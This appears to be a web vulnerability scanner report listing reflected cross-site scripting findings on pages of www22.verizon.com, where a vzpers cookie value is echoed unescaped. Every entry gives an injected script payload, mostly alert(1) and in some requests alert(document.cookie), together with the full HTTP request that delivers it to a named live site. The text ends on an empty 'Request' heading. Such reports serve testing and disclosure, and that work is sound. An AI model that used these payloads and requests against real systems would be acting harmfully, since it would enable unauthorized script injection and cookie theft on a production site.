The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7704a'><script>alert(1)</script>0c0a1d1055b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/MarketingLanding/triple_play/triple_play HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX7704a'><script>alert(1)</script>0c0a1d1055b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a2038'><script>alert(1)</script>6fe7e5058d3 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXa2038'><script>alert(1)</script>6fe7e5058d3; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 369f2'><script>alert(1)</script>205a2982279 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/ChannelsEnglish/ChannelsEnglish.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX369f2'><script>alert(1)</script>205a2982279; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b99b2'><script>alert(1)</script>6de48e9ca2d was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb99b2'><script>alert(1)</script>6de48e9ca2d; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 77d76'><script>alert(1)</script>715210c4386 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX77d76'><script>alert(1)</script>715210c4386; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 9f0b4<script>alert(1)</script>6816be5cec5 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX9f0b4<script>alert(1)</script>6816be5cec5; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6358e'><script>alert(1)</script>fe5e6f371f1 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Packages/Packages.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6358e'><script>alert(1)</script>fe5e6f371f1; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5c05"-alert(1)-"1505f8b2e4 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Residential/DirecTV/Packages/Packages.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb5c05"-alert(1)-"1505f8b2e4; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 89729'><script>alert(1)</script>604e656a2de was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Premium/Premium.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX89729'><script>alert(1)</script>604e656a2de; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fd5c6'><script>alert(1)</script>77fabe85400 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/EntertainmentOnDemand/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXfd5c6'><script>alert(1)</script>77fabe85400; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 22f18'><script>alert(1)</script>b01373682be was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/CheckAvailability/CheckAvailability.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX22f18'><script>alert(1)</script>b01373682be; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2dec6'><script>alert(1)</script>f46e0b8a85b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX2dec6'><script>alert(1)</script>f46e0b8a85b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 95b71<script>alert(1)</script>8cd84a0e406 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX95b71<script>alert(1)</script>8cd84a0e406; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload dac27<script>alert(1)</script>35d3559249 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXdac27<script>alert(1)</script>35d3559249; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1b85b'><script>alert(1)</script>39fdf9f1de3 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Overview.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1b85b'><script>alert(1)</script>39fdf9f1de3; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 32738'><script>alert(1)</script>e346393f711 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX32738'><script>alert(1)</script>e346393f711; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload e1049<script>alert(1)</script>df8eebbe858 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXe1049<script>alert(1)</script>df8eebbe858; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ff241'><script>alert(1)</script>701d51eb30b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXff241'><script>alert(1)</script>701d51eb30b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload e3746<script>alert(1)</script>02f08d404c8 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/FiOSTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXe3746<script>alert(1)</script>02f08d404c8; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload d5f2f<script>alert(1)</script>a9fa44ab1ff was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
